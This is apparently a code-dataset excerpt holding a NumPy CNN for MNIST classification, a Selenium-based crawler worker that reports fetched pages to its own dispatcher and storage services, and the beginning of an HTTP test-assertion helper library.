empirical tests.\n self.filters = self.filters * (np.sqrt(2) / (input_channels + output_channels + self.filter_rows + self.filter_cols))\n self.zeroize_gradients()\n\n '''\n This method is used to convert the image into columns that represent where filters are so\n that we can use this in matrix multiplication to represent Conv2D\n\n This was one of the most time consuming parts to search and understand so im including \n these links for reference: \n - http://cs231n.stanford.edu/slides/2016/winter1516_lecture11.pdf\n - https://wiseodd.github.io/techblog/2016/07/16/convnet-conv-layer/\n - https://petewarden.com/2015/04/20/why-gemm-is-at-the-heart-of-deep-learning/\n - https://towardsdatascience.com/how-are-convolutions-actually-performed-under-the-hood-226523ce7fbf\n\n I tried to comment as much as I could to make it clear as to what it is doing.\n\n NOTE: I did see multiple blogs that showed faster implementations than what I have; however, I did not\n understand what was going on in the code and I didn't want to implement anything I didn't \n understand. Which is why I used the implementation below, because the pools make it clear as to\n what it is doing.\n '''\n def im2col(self, x):\n # defining readable variables that can be used throughout the rest of the method\n channels = x.shape[0]\n rows = x.shape[1]\n cols = x.shape[2]\n\n # This array holds each column of the img_as_col, it holds them as rows\n # and then a transpose is perfomed at the end to get columns\n img_cols = []\n # Still loop over the image as you would with filters but this time you \n # copy the image filter sections over to a matrix\n for r in range(rows - self.filter_rows + 1):\n for c in range(cols - self.filter_cols + 1):\n # Gets the filter section accross all channels\n filter_section = x[:, r:r+self.filter_rows, c:c+self.filter_cols]\n img_cols.append(filter_section.flatten())\n # Convert python array of numpy arrays to a numpy array of numpy arrays\n img_cols = np.array(img_cols)\n # Return the transpose of img_cols because currently the filters are rows but\n # (as the name suggests) we need them to be columns\n return np.transpose(img_cols)\n\n def forward(self, x):\n self.input = x\n\n # Shape data for the incoming image\n channels, rows, cols = x.shape\n\n # Padding of input image to keep same image shape for output image\n x = np.pad(x, ((0, 0), (self.padding, self.padding), (self.padding, self.padding)), 'constant', constant_values=0)\n # Convert image to column representation of image. Allows for simple matrix\n # multiplication for the filters to get the output image (still need to resize after)\n self.img_as_cols = self.im2col(x)\n # Miltiply the image by the filters, equaivalent to taking the filters and \n # moving them across the image but it is more memory efficient.\n y = self.filters @ self.img_as_cols\n\n # Each new channel is now a single array so we need to resize to the original shape\n # which is why we padded it with zeros first\n y = y.reshape(self.num_output_channels, rows, cols)\n return y\n\n '''\n This is essentially the inverse of im2col which was researched on the sites above and the logic\n came primarily from those, with modifications to fit my implementation of the CNN.\n '''\n def col2im(self, img_as_col):\n ret_img = np.zeros(self.input.shape)\n\n # defining readable variables that can be used throughout the rest of the method\n rows = ret_img.shape[1]\n cols = ret_img.shape[2]\n\n index = 0\n # Similar to im2col this scrolls through the rows and cols and essentially just puts what is in the img_as_col columns\n # into the actual image view (it actually adds to what is there since there can be some overlap of filters).\n for r in range(0, rows - self.filter_rows + 1):\n for c in range(0, cols - self.filter_rows + 1):\n # Assign each colums filter view to the values in the current column that is being reshaped back to the real filter\n # shapes (from 1D column to a 3D matrix for the channels, rows and columns). Basically takes the column and changes\n # it back to the 3D sub-matrix of the image for that filter position.\n ret_img[:, r:r+self.filter_rows, c:c+self.filter_cols] += img_as_col[:, index].reshape(self.num_input_channels, self.filter_rows, self.filter_cols)\n index += 1\n return ret_img\n\n def backward(self, error):\n # You can see in the forward function right before we return y we reshape it to be the image shape, we need to \n # reverse this logic to get back a matrix we can multiply which is what we are doing here. The -1 means it \n # can calculate what the value should be based on the total number of parameters and the current shape.\n reshaped_error = error.reshape(self.num_output_channels, -1)\n\n # Since the data is converted from image to img_as_col, we can perform the filters as a matrix multiplication \n # and since we do that on the forward pass the backwards pass is updating the weights and output error the same\n # way we would for regular matrix multiplication which can be seen below.\n #\n # Since we had the data as column vectors this can be seen on slide 20 of the Calculus notes. (In previous\n # implementations I used row vectors for the data so I referenced slide 19).\n self.filter_gradient += reshaped_error @ self.img_as_cols.T\n\n # Again, refer to slide 20 of the Calculus notes, not that filters is transpoed here because it is stored as a\n # row matrix but I need it as a column matrix. \n input_error_as_col = self.filters.T @ reshaped_error\n\n # This takes the input error that is represented as a column matrix and converts it back to an image, which we\n # can return since that is the shape of the data that was fed into the forward function.\n input_error = self.col2im(input_error_as_col)\n return input_error\n\n def step(self, learning_rate):\n self.filters = self.filters - (learning_rate * self.filter_gradient)\n\n def zeroize_gradients(self):\n self.filter_gradient = np.zeros((self.num_output_channels, self.num_input_channels * self.filter_rows * self.filter_cols))\n\n def __str__(self):\n ret = \"Convolutional 2D Filters {\\n\"\n ret += \" Input Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Output Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Parameter Size: (\" + str(self.num_output_channels) + \", \" + str(self.num_input_channels) + \", \" + str(self.filter_rows) + \", \" + str(self.filter_cols) + \")\\n\"\n ret += \" MACs: \" + str(self.filters.shape[0] * self.filters.shape[1] * self.img_as_cols.shape[1]) + \"\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# CONVOLUTIONAL 2D BIAS LAYER DEFINITION\n#\n################################################################################\n\nclass Conv2DBias():\n\n def __init__(self, input_channels, image_shape):\n super().__init__()\n self.num_input_channels = input_channels\n self.img_rows, self.img_cols = image_shape\n\n self.bias = np.random.rand(self.num_input_channels, self.img_rows, self.img_cols) \n # Weight initilization is like \"He-et-al Weight Initialization\" but some changes are\n # made based on some empirical tests.\n self.bias = self.bias * (np.sqrt(2) / (input_channels + self.img_rows + self.img_cols))\n self.zeroize_gradients()\n\n def forward(self, x):\n self.input = x\n x = x + self.bias\n return x\n\n def backward(self, error):\n self.bias_gradient += error\n input_error = error\n return input_error\n\n def step(self, learning_rate):\n self.bias = self.bias - (learning_rate * self.bias_gradient)\n\n def zeroize_gradients(self):\n self.bias_gradient = np.zeros((self.num_input_channels, self.img_rows, self.img_cols))\n\n def __str__(self):\n ret = \"Convolutional 2D Bias {\\n\"\n ret += \" Input Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Output Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Parameter Size: (\" + str(self.num_input_channels) + \", \" + str(self.img_rows) + \", \" + str(self.img_cols) + \")\\n\"\n ret += \" MACs: 0\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# MAX POOL LAYER DEFINITION\n#\n################################################################################\n\nclass MaxPool():\n def __init__(self, filter_size, stride):\n super().__init__()\n self.filter_rows, self.filter_cols = filter_size\n self.stride = stride\n self.padding = self.filter_rows // 2\n\n self.zeroize_gradients()\n\n def im2row(self, x):\n # defining readable variables that can be used throughout the rest of the method\n rows = x.shape[0]\n cols = x.shape[1]\n\n img_row = []\n # Still loop over the image as you would with filters but this time you \n # copy the image filter sections over to a matrix\n for r in range(0, rows - self.filter_rows + 1, self.stride):\n for c in range(0, cols - self.filter_cols + 1, self.stride):\n # Gets the filter section accross all channels\n filter_section = x[r:r+self.filter_rows, c:c+self.filter_cols]\n img_row.append(filter_section.reshape(self.filter_rows * self.filter_cols))\n # Convert python array of numpy arrays to a numpy array of numpy arrays\n img_row = np.array(img_row)\n return img_row\n\n def forward(self, x):\n self.input = x\n\n channels = x.shape[0]\n new_rows = x.shape[1] // self.stride\n new_cols = x.shape[2] // self.stride\n\n # Padding of input image\n x = np.pad(x, ((0, 0), (self.padding, self.padding), (self.padding, self.padding)), 'constant', constant_values=0)\n\n pooled_img_channels = []\n self.row_img_channels = []\n for c in range(channels):\n # Get the filters section of the image as columns in a matrix\n img_as_rows = self.im2row(x[c])\n # Save the image as rows for the back prop\n self.row_img_channels.append(img_as_rows)\n # Calculuate the Max Pool image\n pooled_img = np.max(img_as_rows, axis=1)\n pooled_img_channels.append(pooled_img.reshape(new_rows, new_cols))\n return np.array(pooled_img_channels)\n\n def back_row2im(self, x):\n # defining readable variables that can be used throughout the rest of the method\n rows = self.input.shape[1]\n cols = self.input.shape[2]\n y = np.zeros((rows, cols))\n\n index = 0\n # Scroll over the image like what would be seen in typical video expaling convolution,\n # it takes the filter and goes over the image, but for this it is doing it in reverse, \n # as to crate the image based off of the row matrix passed in.\n for r in range(0, rows - self.filter_rows + 1, self.stride):\n for c in range(0, cols - self.filter_cols + 1, self.stride):\n # Similar to col2im it takes the row value and reshapes it to a 2D matrix to put\n # into the return image, basically un-flattening the data to put it back in the \n # shape of the filter.\n d_row_as_filter = x[index].reshape(self.filter_rows, self.filter_cols)\n y[r:r+self.filter_rows, c:c+self.filter_cols] += d_row_as_filter\n index += 1\n return y\n\n def backward(self, error):\n x = self.input\n\n channels = x.shape[0]\n new_rows = x.shape[1] // self.stride\n new_cols = x.shape[2] // self.stride\n\n # Padding of input image\n x = np.pad(x, ((0, 0), (self.padding, self.padding), (self.padding, self.padding)), 'constant', constant_values=0)\n\n d_img_channels = []\n # I do this per channel, I couldnt find a better way to do this, this also makes it more \n # inefficient which is why it is somewhat slow. \n for c in range(channels):\n # Get the filters section of the image as rows in a matrix\n img_as_rows = self.row_img_channels[c]\n d_img_as_rows = np.zeros_like(img_as_rows, dtype=float)\n # Calculuate the Max Pool image\n max_indexes = np.argmax(img_as_rows, axis=1)\n # Flatten error so we can index it easily\n flatten_error = error[c].flatten()\n # This sets each rows max value index to the appropriate error value, which will be used to\n # get the input error image when we call back_row2im\n for i in range(len(max_indexes)):\n max_index = max_indexes[i]\n d_img_as_rows[i, max_index] = flatten_error[i]\n # Since we have the row matrix with the appropriate error in the correct indexes, we need to\n # convert the rows to the actual image, which we do by calling back_row2im, (which is very \n # similar to col2im in the Conv2DFilter section).\n temp_channel = self.back_row2im(d_img_as_rows)\n d_img_channels.append(temp_channel)\n # Take the array of each channel and convert to a numpy array so we can get the input error\n # to be the same shape as the data passed into the forward function.\n return np.array(d_img_channels)\n\n def step(self, learning_rate):\n pass\n\n def zeroize_gradients(self):\n pass\n\n def __str__(self):\n ret = \"Max Pool {\\n\"\n ret += \" Input Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Output Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]//2) + \", \" + str(self.input.shape[2]//2) + \")\\n\"\n ret += \" Parameter Size: NONE\\n\"\n ret += \" MACs: 0\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# FLATTEN LAYER DEFINITION\n#\n################################################################################\n\nclass Flatten():\n\n def __init__(self):\n super().__init__()\n self.zeroize_gradients()\n\n def forward(self, x):\n self.input = x\n # x.size is the total number of values in the matrix\n return x.reshape(1, x.size)\n\n def backward(self, error):\n back_shape = self.input.shape\n # Reshape back to what was sent into the layer\n return error.reshape(back_shape)\n\n def step(self, learning_rate):\n pass\n\n def zeroize_gradients(self):\n pass\n\n def __str__(self):\n ret = \"Flatten {\\n\"\n ret += \" Input Size: (\" + str(self.input.shape[0]) + \", \" + str(self.input.shape[1]) + \", \" + str(self.input.shape[2]) + \")\\n\"\n ret += \" Output Size: (1, \" + str(self.input.size) + \")\\n\"\n ret += \" Parameter Size: NONE\\n\"\n ret += \" MACs: 0\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# LINEAR LAYER DEFINITION\n#\n################################################################################\n\nclass Linear():\n\n def __init__(self, in_size, out_size, activation_function=None):\n self.in_size = in_size\n self.out_size = out_size\n\n self.mat = MatrixMult(in_size=in_size, out_size=out_size)\n self.bias = VectorAddition(size=out_size)\n self.activation_function = None\n if activation_function == \"relu\":\n self.activation_function = ReLU(size=out_size)\n\n self.zeroize_gradients()\n\n def forward(self, x):\n x = self.mat.forward(x)\n x = self.bias.forward(x)\n if self.activation_function is not None:\n x = self.activation_function.forward(x)\n return x\n\n def backward(self, error):\n if self.activation_function is not None:\n error = self.activation_function.backward(error)\n error = self.bias.backward(error)\n error = self.mat.backward(error)\n return error\n\n def step(self, learning_rate):\n self.mat.step(learning_rate=learning_rate)\n self.bias.step(learning_rate=learning_rate)\n if self.activation_function is not None:\n self.activation_function.step(learning_rate=learning_rate)\n\n def zeroize_gradients(self):\n self.mat.zeroize_gradients()\n self.bias.zeroize_gradients()\n if self.activation_function is not None:\n self.activation_function.zeroize_gradients()\n\n def __str__(self):\n ret = \"\"\n ret += str(self.mat)\n ret += str(self.bias)\n if self.activation_function is not None:\n ret += str(self.activation_function)\n return ret\n\n################################################################################\n#\n# MATRIX MULTIPLICATION LAYER DEFINITION\n#\n################################################################################\n\nclass MatrixMult():\n\n def __init__(self, in_size, out_size):\n self.in_size = in_size\n self.out_size = out_size\n # Weight initilization is like \"He-et-al Weight Initialization\" but some changes are\n # made based on some empirical tests.\n self.mat = np.random.rand(in_size, out_size) * (np.sqrt(2) / (in_size + out_size))\n \n self.zeroize_gradients()\n\n def forward(self, x):\n self.input = x\n \n x = np.matmul(x, self.mat)\n return x\n\n def backward(self, error):\n # Calculate parameter gradient\n # input is transpose so we need to tranpose it again\n self.mat_gradient += self.input.T @ error\n\n # Calculate input gradient\n # See page 19 of Calculus Notes\n input_error = error @ self.mat.T\n return input_error\n\n def step(self, learning_rate):\n self.mat = self.mat - (learning_rate * self.mat_gradient)\n\n def zeroize_gradients(self):\n self.mat_gradient = np.zeros((self.in_size, self.out_size))\n\n def __str__(self):\n ret = \"Matrix Multiplication {\\n\"\n ret += \" Input Size: (1, \" + str(self.in_size) + \")\\n\"\n ret += \" Output Size: (1, \" + str(self.out_size) + \")\\n\"\n ret += \" Parameter Size: (\" + str(self.in_size) + \", \" + str(self.out_size) + \")\\n\"\n ret += \" MACs: \" + str(self.in_size * self.out_size) + \"\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# VECTOR ADDITION LAYER DEFINITION\n#\n################################################################################\n\nclass VectorAddition():\n\n def __init__(self, size):\n self.size = size\n # Weight initilization is like \"He-et-al Weight Initialization\" but some changes are\n # made based on some empirical tests.\n self.vector = np.random.rand(1, size) * (np.sqrt(2) / size)\n\n self.zeroize_gradients()\n\n def forward(self, x):\n self.input = x\n\n # This add the bias vector to each batch row\n x = x + self.vector\n return x\n\n def backward(self, error):\n # Calculate parameter gradient\n # See slide 11 of the Calculus notes, it's not\n # element wise, but the vector addition are\n # multiple element wise additions\n self.vector_gradient += error\n\n # Calculate input gradient\n # See slide 11 of the Calculus notes, it's not\n # element wise, but the vector addition are\n # multiple element wise additions\n input_error = error\n return input_error\n\n def step(self, learning_rate):\n self.vector = self.vector - (learning_rate * self.vector_gradient)\n\n def zeroize_gradients(self):\n self.vector_gradient = np.zeros((1, self.size))\n\n def __str__(self):\n ret = \"Vector Addition {\\n\"\n ret += \" Input Size: (1, \" + str(self.size) + \")\\n\"\n ret += \" Output Size: (1, \" + str(self.size) + \")\\n\"\n ret += \" Parameter Size: (1, \" + str(self.size) + \")\\n\"\n ret += \" MACs: 0\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# RELU LAYER DEFINITION\n#\n################################################################################\n\nclass ReLU():\n\n def __init__(self, size):\n super().__init__()\n self.size = size\n\n self.zeroize_gradients()\n \n def __relu(self, x):\n if x <= 0:\n return 0\n return x\n\n def __relu_grad(self, x):\n if x <= 0:\n return 0\n return 1\n\n def forward(self, x):\n self.input = x\n\n # Same vectorization that was perfomed in the other files. Allows you to \n # perform ReLU per element in the numpy matrix.\n relu = np.vectorize(self.__relu)\n x = relu(x)\n return x\n\n def backward(self, error):\n relu_grad = np.vectorize(self.__relu_grad)\n\n input_error = np.multiply(relu_grad(self.input), error)\n return input_error\n\n def step(self, learning_rate):\n pass\n\n def zeroize_gradients(self):\n pass\n\n def __str__(self):\n ret = \"ReLU {\\n\"\n ret += \" Input Size: \" + str(self.input.shape) + \"\\n\"\n ret += \" Output Size: \" + str(self.input.shape) + \"\\n\"\n ret += \" Parameter Size: NONE\\n\"\n ret += \" MACs: \" + str(self.input.size) + \"\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# SOFTMAX CROSS ENTROPY LAYER DEFINITION\n#\n################################################################################\n\nclass SoftmaxCrossEntropy():\n\n def __init__(self, size):\n super().__init__()\n self.size = size\n\n self.zeroize_gradients()\n\n def __softmax(self, x):\n e_x = np.exp(x - np.max(x))\n x = e_x / e_x.sum()\n return x\n\n def forward(self, x):\n self.input = x\n\n # This applies softmax to each row in the matrix (each row is one training data)\n # The number of rows is equal to the size of the batch\n # For each row it calls __softmax which returns a row with the softmax function applied\n x = np.apply_along_axis(self.__softmax, 1, x)\n\n self.softmax_x = x\n return x\n\n def backward(self, error):\n # Takes the output of the softmax and subtracts the expected value\n # from it.\n input_error = np.subtract(self.softmax_x, error)\n return input_error\n\n def step(self, learning_rate):\n pass\n\n def zeroize_gradients(self):\n pass\n\n def __str__(self):\n ret = \"Softmax Cross Entropy {\\n\"\n ret += \" Input Size: \" + str(self.input.shape) + \"\\n\"\n ret += \" Output Size: \" + str(self.input.shape) + \"\\n\"\n ret += \" Parameter Size: NONE\\n\"\n ret += \" MACs: 0\\n\"\n ret += \"}\\n\"\n return ret\n\n################################################################################\n#\n# CROSS ENTROPY LOSS FUNCTION\n#\n################################################################################\n\nclass CrossEntropyLoss():\n\n def __init__(self):\n super().__init__()\n\n def compute_loss(self, estimate, actual):\n # The 1e-15 was added because I would sometimes get a 0 for the estimate value and \n # when useing log_{2} i would get -inf so I added a small offset to remove the \n # posibility of getting -inf for log_{2}\n loss = -np.sum(actual * np.log2(estimate + 1e-15))\n return loss\n\n################################################################################\n#\n# DATA\n#\n################################################################################\n\n# download\nif (os.path.exists(DATA_FILE_TRAIN_DATA) == False):\n urllib.request.urlretrieve(DATA_URL_TRAIN_DATA, DATA_FILE_TRAIN_DATA)\nif (os.path.exists(DATA_FILE_TRAIN_LABELS) == False):\n urllib.request.urlretrieve(DATA_URL_TRAIN_LABELS, DATA_FILE_TRAIN_LABELS)\nif (os.path.exists(DATA_FILE_TEST_DATA) == False):\n urllib.request.urlretrieve(DATA_URL_TEST_DATA, DATA_FILE_TEST_DATA)\nif (os.path.exists(DATA_FILE_TEST_LABELS) == False):\n urllib.request.urlretrieve(DATA_URL_TEST_LABELS, DATA_FILE_TEST_LABELS)\n\n# training data\n# unzip the file, skip the header, read the rest into a buffer and format to NCHW\nfile_train_data = gzip.open(DATA_FILE_TRAIN_DATA, 'r')\nfile_train_data.read(16)\nbuffer_train_data = file_train_data.read(DATA_NUM_TRAIN*DATA_ROWS*DATA_COLS)\ntrain_data = np.frombuffer(buffer_train_data, dtype=np.uint8).astype(np.float32)\ntrain_data = train_data.reshape(DATA_NUM_TRAIN, 1, DATA_ROWS, DATA_COLS)\n\n# training labels\n# unzip the file, skip the header, read the rest into a buffer and format to a vector\nfile_train_labels = gzip.open(DATA_FILE_TRAIN_LABELS, 'r')\nfile_train_labels.read(8)\nbuffer_train_labels = file_train_labels.read(DATA_NUM_TRAIN)\ntrain_labels = np.frombuffer(buffer_train_labels, dtype=np.uint8).astype(np.int32)\n\n# testing data\n# unzip the file, skip the header, read the rest into a buffer and format to NCHW\nfile_test_data = gzip.open(DATA_FILE_TEST_DATA, 'r')\nfile_test_data.read(16)\nbuffer_test_data = file_test_data.read(DATA_NUM_TEST*DATA_ROWS*DATA_COLS)\ntest_data = np.frombuffer(buffer_test_data, dtype=np.uint8).astype(np.float32)\ntest_data = test_data.reshape(DATA_NUM_TEST, 1, DATA_ROWS, DATA_COLS)\n\n# testing labels\n# unzip the file, skip the header, read the rest into a buffer and format to a vector\nfile_test_labels = gzip.open(DATA_FILE_TEST_LABELS, 'r')\nfile_test_labels.read(8)\nbuffer_test_labels = file_test_labels.read(DATA_NUM_TEST)\ntest_labels = np.frombuffer(buffer_test_labels, dtype=np.uint8).astype(np.int32)\n\n# debug\n# print(train_data.shape) # (60000, 1, 28, 28)\n# print(train_labels.shape) # (60000,)\n# print(test_data.shape) # (10000, 1, 28, 28)\n# print(test_labels.shape) # (10000,)\n\n################################################################################\n#\n# YOUR CODE GOES HERE\n#\n################################################################################\n\nmodel = MNIST_CNN()\nloss_func = CrossEntropyLoss()\n\n# Variables for tracking data\naccuracy_per_epoch = []\ntotal_time = 0.0\n\n# cycle through the epochs\nfor epoch in range(NUM_EPOCHS):\n # set the learning rate\n learning_rate = 0.001\n train_loss = 0.0\n\n # cycle through the training data\n start_time = time.time()\n for i in range(DATA_NUM_TRAIN):\n train_img = train_data[i]\n train_img = train_img / 255.0\n\n label_vector = np.zeros((DATA_CLASSES))\n label_vector[train_labels[i]] = 1\n\n # forward pass\n y = model.forward(train_img)\n # calculate loss\n train_loss += loss_func.compute_loss(estimate=y, actual=label_vector)\n # back prop\n model.backward(label_vector)\n # weight update\n model.step(learning_rate=learning_rate)\n # zeroize gradient\n model.zeroize_gradients()\n\n # cycle through the testing data\n num_correct = 0\n for i in range(DATA_NUM_TEST):\n test_img = test_data[i]\n test_img = test_img / 255.0\n # Get the label for the testing data, will be used to compare against returned value and \n # is used to calculate accuracy\n true_index = test_labels[i]\n\n # forward pass\n y = model.forward(test_img)\n # accuracy\n if np.argmax(y) == true_index:\n num_correct += 1\n test_acc = 100 * (num_correct / DATA_NUM_TEST)\n end_time = time.time()\n \n # Update variables to keep track of stats\n accuracy_per_epoch.append(test_acc)\n total_time += (end_time - start_time)\n\n # per epoch display (epoch, time, training loss, testing accuracy, ...)\n print(\"epoch={:2d}, time={:7.2f}sec, training_loss={:11.3f}, testing_accuracy={:5.2f}\".format(epoch, (end_time - start_time), train_loss, test_acc))\n\n################################################################################\n#\n# DISPLAY\n#\n################################################################################\n\n# Just to make it more readable\nprint(\"\")\n\n# accuracy display\n# final value\nprint(\"Final Test Accuracy: {:.2f}%\".format(accuracy_per_epoch[NUM_EPOCHS - 1]))\n# plot of accuracy vs epoch\nplt.title(\"Model Accuracy\")\nplt.ylabel(\"Accuracy\")\nplt.xlabel(\"Epoch\")\nplt.plot(np.arange(0, NUM_EPOCHS), accuracy_per_epoch, marker='o')\n\n# performance display\n# total time\nprint(\"Total Time: {:.2f} seconds\".format(total_time))\n# per layer info (type, input size, output size, parameter size, MACs, ...)\nprint(model)\n\n# example display\n# replace the xNN predicted label with the label predicted by the network\nfig = plt.figure(figsize=(DISPLAY_COL_IN, DISPLAY_ROW_IN))\nax = []\nfor i in range(DISPLAY_NUM):\n img = test_data[i, :, :, :].reshape((DATA_ROWS, DATA_COLS))\n\n # Get vector version of image and send it into the model \n input_image = test_data[i, :, :, :].reshape((1, DATA_ROWS, DATA_COLS)) / 255.0\n y = model.forward(input_image)\n true_label = np.argmax(y)\n\n # Draw plot of test results\n ax.append(fig.add_subplot(DISPLAY_ROWS, DISPLAY_COLS, i + 1))\n ax[-1].set_title('True: ' + str(test_labels[i]) + ' xNN: ' + str(true_label))\n plt.imshow(img, cmap='Greys')\nplt.show()","sub_path":"src/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":46896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150576718","text":"# coding=utf-8\nimport time\nimport sys\nimport json\nfrom selenium import webdriver\nfrom Utils.http_helper import HttpHelper\n\nDISPATCHER_URL = \"http://dispatcher.9in.com:8088\"\nDATACENTER_URL = \"http://datacenter.9in.com:8088\"\n\ndef getTask():\n try: \n req = {\n 'uid': 'NET_0',\n 'whiteList': ['default.robot']\n }\n errorCode, rsp = HttpHelper.post(DISPATCHER_URL + \"/webapi/task2\", req)\n if rsp != None and 'errorCode' in rsp and rsp['errorCode'] == 'OK' and 'taskList' in rsp and rsp['taskList'] != None:\n task = rsp['taskList'][0]\n print (\"get task ok, task=\" + json.dumps(task))\n return ['OK', task]\n else:\n print (\"get task error, rsp=\" + json.dumps(rsp))\n return [rsp['errorCode'], None]\n \n except Exception as err :\n print(err)\n return ['UNKNOWN', None]\n\ndef fetchTask(driver, task):\n try: \n url = task['url']\n html = None\n \n # Fetch\n driver.get('about:blank')\n time.sleep(1)\n driver.get(url)\n time.sleep(3)\n html = driver.page_source\n \n if html == None or len(html) < 1024:\n print (\"fetchTask ERROR: HTML Error\")\n return ['FETCH_ERROR_HTML', None] \n\n print (\"html.length={0}\".format(len(html)))\n \n # Robot Check\n robotRule = task['robotRule']\n value = robotRule['value']\n if value != None and len(value) > 0:\n if value in html:\n print ('Robot check error !!!')\n print (\"fetchTask ERROR: Robot Error\")\n return ['FETCH_ERROR_ROBOT', None]\n else:\n print (\"fetchTask OK\")\n return ['OK', html]\n else:\n print (\"fetchTask ERROR: Robot Rule Error\")\n return ['FETCH_ERROR_RULE', html] \n \n except Exception as err :\n print(err)\n return ['FETCH_ERROR_EXCEPTION', None]\n\ndef sendPage(task, html):\n if html != None and len(html) > 1024:\n req = {\n 'task': task,\n 'redirectUrl': task['url'],\n 'page': {\n 'content': None,\n 'encoding': 'UTF8',\n 'html': html,\n },\n }\n errorCode, rsp = HttpHelper.post(DATACENTER_URL + \"/webapi/page2\", req)\n if rsp != None and 'errorCode' in rsp and rsp['errorCode'] == 'OK':\n print (\"sendPage OK: url: {0}\".format(DATACENTER_URL + \"/webapi/page2\"))\n return True\n else:\n print (\"sendPage ERROR: url: {0}\".format(DATACENTER_URL + \"/webapi/page2\"))\n return False\n\ndef completeTask(task):\n try: \n req = {\n 'uid': 'NET_0',\n 'task': task\n }\n errorCode, rsp = HttpHelper.post(DISPATCHER_URL + \"/webapi/complete2\", req)\n if rsp != None and 'errorCode' in rsp and rsp['errorCode'] == 'OK':\n print (\"complete task ok, task=\" + json.dumps(task))\n else:\n print (\"complete task error, rsp=\" + json.dumps(rsp))\n except Exception as err :\n print(err)\n\nif __name__==\"__main__\":\n print(\"main\")\n try: \n runCount = 1\n if len(sys.argv) == 2:\n runCount = int(sys.argv[1])\n print (\"##### RunCount={0}\".format(runCount))\n \n driver = webdriver.PhantomJS('phantomjs.exe')\n\n for index in range(0, runCount, 1):\n print (\"##### Run: {0} / {1}\".format(index, runCount))\n \n errorCode, t = getTask()\n if errorCode == \"NO_MORE_TASK\":\n break\n elif errorCode == \"OK\" and t != None:\n errorCode, html = fetchTask(driver, t)\n if errorCode == 'ROBOT':\n print ('Robot error, exit')\n break\n elif errorCode == 'OK':\n if html != None:\n rc = sendPage(t, html)\n if rc:\n completeTask(t)\n else:\n print ('Fetch error, continue') \n else:\n time.sleep(1)\n \n except Exception as err :\n print(err)\n finally:\n if driver != None:\n driver.quit()\n \n print(\"exit\")","sub_path":"crawler_dynamic_robot.py","file_name":"crawler_dynamic_robot.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96337917","text":"import inspect\nimport re\nfrom collections import OrderedDict\nfrom functools import wraps\nfrom io import BytesIO\n\nimport jsonpath_rw\nimport requests\nfrom lxml import etree\n\n\ndef headers_as_text(headers_dict):\n return \"\\n\".join(\"%s: %s\" % (key, value) for key, value in headers_dict.items())\n\n\ndef shorten(string, upto, end_with=\"...\"):\n return string[:upto - len(end_with)] + end_with if len(string) > upto else string\n\n\ndef assert_regexp(regex, text, match=False, msg=None):\n if match:\n if re.match(regex, text) is None:\n msg = msg or \"Regex %r didn't match expected value: %r\" % (regex, shorten(text, 100))\n raise AssertionError(msg)\n else:\n if not re.findall(regex, text):\n msg = msg or \"Regex %r didn't find anything in text %r\" % (regex, shorten(text, 100))\n raise AssertionError(msg)\n\n\ndef assert_not_regexp(regex, text, match=False, msg=None):\n if match:\n if re.match(regex, text) is not None:\n msg = msg or \"Regex %r unexpectedly matched expected value: %r\" % (regex, shorten(text, 100))\n raise AssertionError(msg)\n else:\n if re.findall(regex, text):\n msg = msg or \"Regex %r unexpectedly found something in text %r\" % (regex, shorten(text, 100))\n raise AssertionError(msg)\n\n\nclass http(object):\n @staticmethod\n def target(*args, **kwargs):\n return HTTPTarget(*args, **kwargs)\n\n @staticmethod\n def request(method, address, session=None,\n params=None, headers=None, cookies=None, data=None, json=None, allow_redirects=False, timeout=30):\n \"\"\"\n\n :param method: str\n :param address: str\n :return: response\n :rtype: HTTPResponse\n \"\"\"\n if session is None:\n session = requests.Session()\n request = requests.Request(method, address,\n params=params, headers=headers, cookies=cookies, json=json, data=data)\n prepared = request.prepare()\n response = session.send(prepared, allow_redirects=allow_redirects, timeout=timeout)\n wrapped_response = HTTPResponse.from_py_response(response)\n recorder.record_http_request(method, address, prepared, wrapped_response, session)\n return wrapped_response\n\n @staticmethod\n def get(address, **kwargs):\n return http.request(\"GET\", address, **kwargs)\n\n @staticmethod\n def post(address, **kwargs):\n return http.request(\"POST\", address, **kwargs)\n\n @staticmethod\n def put(address, **kwargs):\n return http.request(\"PUT\", address, **kwargs)\n\n @staticmethod\n def delete(address, **kwargs):\n return http.request(\"DELETE\", address, **kwargs)\n\n @staticmethod\n def patch(address, **kwargs):\n return http.request(\"PATCH\", address, **kwargs)\n\n @staticmethod\n def head(address, **kwargs):\n return http.request(\"HEAD\", address, **kwargs)\n\n\nclass LogAssertion(object):\n def __init__(self, name, response):\n self.name = name\n self.response = response\n self.is_failed = False\n self.failure_message = \"\"\n\n def __repr__(self):\n tmpl = \"Assertion(name=%r, response=%r, is_failed=%r, failure_message=%r)\"\n return tmpl % (self.name, self.response, self.is_failed, self.failure_message)\n\n\nclass LogRequest(object):\n def __init__(self, method, address, request, response, session):\n self.method = method\n self.address = address\n self.request = request\n self.response = response\n self.session = session\n\n\nclass Record(object):\n def __init__(self):\n \"\"\"\n :type requests: list[LogRequest]\n :type assertions: list[LogAssertion]\n \"\"\"\n self.requests = []\n self.assertions = []\n\n 